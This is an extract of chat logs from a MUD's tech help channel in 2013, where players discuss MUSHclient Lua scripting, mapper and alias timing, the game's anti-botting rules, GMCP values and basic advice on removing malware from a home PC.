T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: works
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: thanks guys!
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: As it should :P
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: lol
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: how do i do ech in a DoAfter ?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: echo*
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: DoAfter(2,Echo "hi") doesn't work
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Elkore Tech: use Note()
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: DoAfter(2, Note("Hi"))
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: DoAfter(2, Note ("hi")) doesnt work
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: What error do you get?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: bad argument
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The whole error..
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: [string "Trigger: "]:1: bad argument #2 to 'DoAfter' (string expected, got no value)
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: stack traceback:
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: [C]: in function 'DoAfter'
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: [string "Trigger: "]:1: in main chunk
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Ahh, so try DoAfter(2, "Note('testing')")
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: notice the surrounding "" on the second argument.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: does doafter do?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: it's like a wait function
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: works, but it doesn't do it in script form
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: shift-ctrl-alt + l will show you all functions and offer explainations.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: DoAfter(2, "echo hi") works
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: its doing Note ('hi')
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You have to use DoAfterSpecial it seems to be able to send in script fragments.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: Ah
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: are you guys qualified technitions
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yeah, DoAfter uses that funky loadstring construct that causes me nothing but grief in Lua :-P
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Because Lua is not a Functional language, it has to pass a string instead of a function pointer or some such
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Also, be careful you don't use " on both the outer and inner sets - that would cause obscure error msgs
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: Hm why is it when I type mapper runto it seems to evaluate before the command stack is finished
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: Even when I type it at the end of a stack of commands
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sonshi Tech: because it's client-side and not mud-side
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The evaluation is clientside
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: So somehow the client can send to the mud even whilst the mud is executing?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tripphippie Tech: mapper is not a mud command
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The effect of that is if you have a long stack, move in a direction, then use mapper runto, the mapper will be off and will probably run into the wall. Lesson is know when to stack and when not to stack.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tripphippie Tech: mapper executes immediately when it hits the window
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The run is sent at the end of the stack - you won't move based on a mapper command until the stack you already sent is finished
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tripphippie Tech: the run stack is based on the room you were in when you sent the stack
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: I understand
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: something else
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: does SnD's hunt trick (ht) work the same way
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: Okay so to be a bit more blatant- I'm writing an alias with 2 wildcards so I can quickly search for next campaign mob by typing RANDOMALIAS mobname areaname
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: my sends work okay so i do move to the right place- but my last send is a "ht %2" and this keeps returning, for e.g., "There is no small within Aardwolf."
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: So it's like HUNT also goes while I'm in the middle of my speedrun?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Elkore Tech: have you tried winkles s&d?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The time for the mapper to process a run is not 0 - the second send beats it
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: I see
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: And yeah I am using snd
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: This would be the time to use the DoAfter function available in later versions of Aardmush
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Elkore Tech: doesnt that do something similar? it clear waits till it reaches the cp area before executing ht
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tripphippie Tech: you just need to do something a little more complicated with timers and triggers
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: No need for triggers at all
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In fact, using them could come under the bot rules
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tripphippie Tech: I do believe that it is botting
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tripphippie Tech: and it is frowned upon if you can auto a campaign with 1 command
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Using a timer to delay the hunt trick until the run has had a chance to finish is fine, however
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: I've done exactly that, and no I hope this isn't botting- it's just repurposing a bunch of unergonomic commands into a single one
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: the doafter works yeah
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Lasher Tech: By "frowned on" he means "illegal and will get you deleted".
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice, in complete agreement.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Lasher Tech: You just lost any ability to claim "But I'm new and I didn't know!"
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: Wait- you mean the doafter is illegal as well?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: By exactly that I meant the alias doafter
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: not a trigger
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Lasher Tech: If you are running to a campaign mob and killing it in a single command yes.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Lasher Tech: doesn't matter if the alias is called dobefore, doafter, dolunch or dorazorsmom, it matters what it does.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: OK so no- this is an alias to make me run to a area (that i specify!) and start hunt-trick on a mob (that i specify!) after i type in 1 command
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: It doesn't kill the mob, or even move me- I have to mapper goto once ht gives me a list of possible destinations
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: Hope that clears things up
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: It's 4 lines, it's no bot ._.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Lasher Tech: it does, thanks.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Lasher Tech: And please understand the motivation in appearing "stern" with this now is not having to nuke you later.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: ...yes don't worry, I'm not so immature that I'd fail to see your motivation
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: s'cool
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Vonliege Tech: if Bast is the "On Star" of Aard... Winkle is the "Garmin"!
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Book of Etzli Tech: ...
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Ixle Tech: Anyone use the python-mode plugin for vim? I can't seem to get it working.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i find it funny the nightly test browser seems to be more stable then IE10
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Beauze Tech: hey i got a question regarding the aard mush client and using any other telnet client
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Beauze Tech: ever since i used the aardwolf client now whenever i see a chat channel on anything not on the aardwolf mush client thiere is a {chan ch=tech} in this case before any chat
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Beauze Tech: any idea how to shut that off?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Vexthorne Tech: It's toggled with tags
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Beauze Tech: ahh tags ok thanks!
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Vexthorne Tech: Sure thing :)
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Beauze Tech: much appreciated! :D :D :D
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Beauze Tech: i am just jumpin back between my pc and my ipad w/bluetooth keyboard
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Beauze Tech: honestly i wish the app on my ipad was a little better, seems to have some refreshing issues
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Vexthorne Tech: I have yet to mud from anything other than a pc so far heh :)
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Beauze Tech: i love mudding on my ipad
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Beauze Tech: so portable
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Beauze Tech: and this bluetooth keyboard i got is easily the most pleasant typing experience i have ever had
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Beauze Tech: just so nic
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Beauze Tech: err nice
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Beauze Tech: hey whats' up with Kaarhls goal in the academy? Kaahrls is at claire in the academy and when he types <goals academy> nothing happens and is playing from a cell phone, gonna ask this in tech new thanks!
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Anyone know if mush mapper has a way to override the exits sent by the mud permanently? They can be changed, but they revert as soon as you re-enter the room...
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: Can't you just workaround with cexit?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: Someone told me cexits take priority
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh, they take priority - I just want to change the -> to a - :-P
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Vexthorne Tech: Does mushclient support multiple characters with different profiles somehow?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tech: it does, they'd be separate world files
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Vexthorne Tech: How would I go about doing that if I wanted to start the second world with the regular aardwolf defaults?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tech: easy way is to copy the current world file, change its ID number, and make an alias to the aard database file with that name
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tech: I'd suggest doing it without MUSH open
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Vexthorne Tech: Alright thanks Abe
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tech: can also just copy your whole MUSHclient folder, use a folder per character
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tech: but again, you'd want to alias the mapfile in order to share them between chars
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Vuron Tech: when you say alias you mean filesystem right?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Vexthorne Tech: THe copying the whole folder sounds less technically challenging for me heh :)
T3/r7/2013-05-31.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: for mushclient, language lua, is thera an inbuilt function to turn something like 6000000 into 6,000,000?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Redryn Tech: http://www.gammon.com.au/forum/?id=7805
T3/r7/2013-05-31.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: thanks
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Newchange Tech: Is to possible to increase SnD search depth from 300 to higher?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: wtf my nightly wont open and IE is an unstable POS that refuses to stay open for more then 30 seconds without switching to unable to display webpage even with html files i have on my HDD
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tynrael Tech: so far I haven't seen a mob it couldn't find within the 300 room search, I get that message when I haven't explored that room so it can't find it anyway
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Newchange Tech: Hmm OK- I'll go check my cexits I probably did something wrong when exploring 
T3/r7/2013-05-31.txt.gz:{chan ch=tech}FuFu Tech: maybe some maze room in between
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Newchange Tech: How does the mapper handle maze rooms?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}FuFu Tech: u gotta pass them manually
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Newchange Tech: As in- it doesnt try to map them correct? So I don't have to worry about my speedruns botching
T3/r7/2013-05-31.txt.gz:{chan ch=tech}FuFu Tech: maze exit change from time to time
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tynrael Tech: mazes change every respawn tick
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Newchange Tech: What's the command to see where different IPs are coming from
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Newchange Tech: Countries I mean
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tynrael Tech: domains
T3/r7/2013-05-31.txt.gz:{chan ch=tech}VampireDude Tech: geoip
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Newchange Tech: Thanks.
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Book of Etzli Tech: Holy crap. A Californian man got a call from Verizon trying to figure out exactly what a guy was doing to generate 77TB of traffic on his FiOS per month...
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Newchange Tech: O.O what was he doing?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Book of Etzli Tech: No clue...
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I'm going to go out on a limb and say piracy
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Newchange Tech: probably some top contrib somewhere
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Book of Etzli Tech: Actually, that's not it.
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Newchange Tech: no?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Acting as an ISP to his whole suburb?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: why can't they see what's his doing
T3/r7/2013-05-31.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: downloading every porn made in the last 70 years?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i do 1-2TB in some months
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Newchange Tech: Oh, what do you do Dagnir
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Book of Etzli Tech: He'd been providing friends and family a personal VPN, video streaming, and peer-to-peer file service, running a rack of 7 servers with 209TB of raw storage at his house.
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: run a seedbox
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Newchange Tech: Oic
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: hardly noticeable with 100mbit
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Book of Etzli Tech: But hot damn, that's a lot of traffic. Apparently FiOS has a bandwith limit. ;)
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: may has been slow. only 400GB up/down
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Ixle Tech: Is there an easier way to swap netween VIM Insert and Normal mode than ESC? Or can I perhaps write the file directly from Insert mode? I'm trying to use default keybindings btw.
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Vesuviou Tech: Anyone know why my client choke the text batch by batch, its lag but not really continuos lag, sometime its sluggish like for a moment it is normal, then all the sudden it crawl and the text come out like chunk
T3/r7/2013-05-31.txt.gz:{chan ch=tech}BobTheGreat Tech: That's lag.
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Vesuviou Tech: how do i fix it?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}BobTheGreat Tech: The problem lies within your internet connection, not your client.
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Vesuviou Tech: I have never had this kind of problem
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Vesuviou Tech: b4
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Vesuviou Tech: How do i fix the lag issue?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}BobTheGreat Tech: Try rebooting your router... whatever you do to diagnose a bad internet connection.
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Vesuviou Tech: Thanks Bob
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Jiandi Tech: is there a way to reset position and size of all windows in the mushclient plugin?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Ayasinda Tech: type resetaard
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Jiandi Tech: thankyou very much
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Evidently Visible Tech: anyone encountered a problem where the communication log in aardmush stops working?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Ayasinda Tech: no. You sure it stopped working. Did you maybe scroll it up just 1 line?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tech: Evidently Visible nods.
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Evidently Visible Tech: tried that
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Bast Tech: type "protocols" is gmcp on?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone know with cmud how i can append to the current zone name? like with a command or function
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: ok, I ran every antivirus and cleaner under the sun.  removed a bunch of stuff and came out clean.  I'm the only user of this PC.  I have visited no porn or pirate sites (really).  How the hell do I keep getting viruses?  Like the damn FBI one, or google redirects?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Trachx Tech: you need to scan your HDD outside your PC
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Opening those forwards from grandma?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tigernuts Tech: poor browsing habits
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: here's a handy chart - http://xkcd.com/1180/
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tynrael Tech: <3 xkcd
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Trachx Tech: also check sandbox and sandboxed IE
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tigernuts Tech: insecure browser, unpatched flash installation, toolbars, torrent sites
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tigernuts Tech: cracked software
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Seriously though, using windows defender and malwarebytes I have *appalling* browsing habits and am yet to encounter a virus - adblock and noscript help there though
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: no torrents, nor cracked software.  I never pirate, I don't even know how to torrent.
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Also click-to-run plugins like flash
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: maybe he's the first one to transfer human retardation to a computer
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Trachx Tech: you could consider using VM for secure browsing
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: isn't malwarebytes a passive remover?  I have that.
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Trachx Tech: anyway it is enough to get only 1 clever virus / trojan to not be able to get rid of viruses
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tigernuts Tech: if you're genuinely not doing all this stuff, maybe the other use is
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tigernuts Tech: users*
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tigernuts Tech: are
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Malwarebytes is passive, Windows Defender is active
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: maybe i have one of those clever ones.  is it possible that it somehoe tunnels/downloads other viruses into my machine w/o me browsing???
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Trachx Tech: sometimes combofix helps
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i have run all of those!
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: maybe it's an out of date flash.  i think my flash is like 2 weeks old.  but it's not like I'm visting non-AAA sites.
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: maybe i visited some blog i dont remember
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Trachx Tech: well, that leaves you only one choice: install another copy of Win then antivirus and scan your primary HDD with probably clean syste
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I don't have win discs or i would
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Trachx Tech: what about rescue partition ? though this is not convenient
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: that's beyond my ken
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Trachx Tech: you could try to install some linux based AV, but that require some linux knowledge
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: that even farther away
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Trachx Tech: you could also check with wireshark whether there are some suspicious connections, but that require even more knowledge
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tynrael Tech: you could install Avast for the generic scan and boot up scan prior to Windows running to detect things before anything is in use, make sure UAC is on, then install something like ZoneAlarm and personally flag all incoming or outgoing connections when they are requested
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Kagaho Tech: windows security essentials is actually all you need
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Doc Holliday Tech: so i have a possible bug but i dont want to check 5000 notes on bug board, anyone up to date and tell me if it should be reported or if im just doing something wrong
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Doc Holliday Tech: https://www.evernote.com/shard/s272/sh/30d8dce7-0991-46ad-8faa-eaf99eaa93e8/501419883b045f0931d10b8b2abf1985
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Doc Holliday Tech: wish list shows adjustment of 200, wish costs show adjustment of 3200 - both have "your cost" correct
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Mye Tech: costs tells you the actual cost of the wish you to buy .. wish list tells you the additional adjustment for each wish
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Doc Holliday Tech: i get that - but shouldnt the adjustment be the same on both?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Mye Tech: so costs tell you total adjustment (per the bottom of list), and list tells you the additional adjustment that wish will add
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Doc Holliday Tech: gotcha
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Doc Holliday Tech: im retarded thanks :)
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Mye Tech: nah.. just ambiguous with them labelled the same
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Doc Holliday Tech: Well Thanks for the breakdown - makes sense now
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Arnica Tech: Is there a gmcp value for a character's tier level?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Doc Holliday Tech: now to figure out which to buy :)
T3/r7/2013-05-31.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Yes there is!
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Doc Holliday Tech: Yes
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Arnica Tech: What might be the gmcp value for a character's tier level?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Arnica Tech: What might be the name of the gmcp value for a character's tier level?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Doc Holliday Tech: char.base.tier
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Doc Holliday Tech: http://www.aardwolf.com/wiki/index.php/Clients/GMCP
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Arnica Tech: TY
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Arnica Tech: Never would have guessed :)
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Faylen Tech: So if I wanted to cmpletely gag, or alternatively substitute text in a mushclient plugin, can anyone give me a starting point on how to do that? I've figured out triggers to the extent of making sounds play, but I'm having trouble finding ways to alter what text is actually displayed. One thing I definitely don't want to do is anything that would redraw the screen.
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Jopari Tech: using phone, when pressing screen. It registers on a different point. Text works fine. buttons and scrolling not so much.
T3/r7/2013-05-31.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: is it plugged into the power?
T3/r7/2013-05-31.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: maybe you have a cheap charger or a surge
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tech: type ".togglefullscreen"
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Jopari Tech: no
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Tech: if this is for aardwolf RPG button touches
T3/r7/2013-05-31.txt.gz:{chan ch=tech}Jopari Tech: thanks
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Kagaho Tech: does anyone use auto quaff trig?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Kagaho Tech: just wondering for those that use them.. what do you use as the trig expression.. you percentage or hp totals in prompt
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ixle Tech: gmcp hp value
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Kagaho Tech: so the battle prompt perctange expression You: *%?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Kagaho Tech: maybe theres a plugin ill take a look first and if not just keep tweaking my own
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ixle Tech: No, the mud sends data like your hp percentage out of band which is a more reliable value than anything you actually see on your screen
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Kagaho Tech: i see.. so i just gotta figure out how to  make the trig based on the gmcp value im sent? 
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ixle Tech: Yep, or find a plugin that does it for you
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Kagaho Tech: okay thanks.. i gotta get used tot he gmcp stuff. ill rsearch that som emore.. sounds much better than gogin on screen input thanks
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Kagaho Tech: i tweaked pretty tight but i was still quaffing 1e xtra time
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Kagaho Tech: so apparently.. not a lot of stuff can be done via command line client wise for mush? gotta open up the gui part?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: you can do just about anything in mushclient without the gui
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Kagaho Tech: haven't found the commands yet.. all the guides and tutorials ar enothign but gui so far
T3/r7/2013-06-01.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: why am i autoscanning everytime?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Kagaho Tech: cuz logic? 
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: using any new plugins?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: broken bot
T3/r7/2013-06-01.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: nope not new triggers
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Book of Etzli Tech: probably a timer that goes off every xx amount of seconds.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: every tick, kinda anoying
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: sounds like that or a gag trigger is disbaled somewhere
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Book of Etzli Tech: May even be a gmcp trigger. :D
T3/r7/2013-06-01.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: hmm
T3/r7/2013-06-01.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: how do i alias xrt to rt in mush? sorry for stupid questions, im kinda dumn in lua etc.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: the real question would be what kind of script needs to scan on a tick
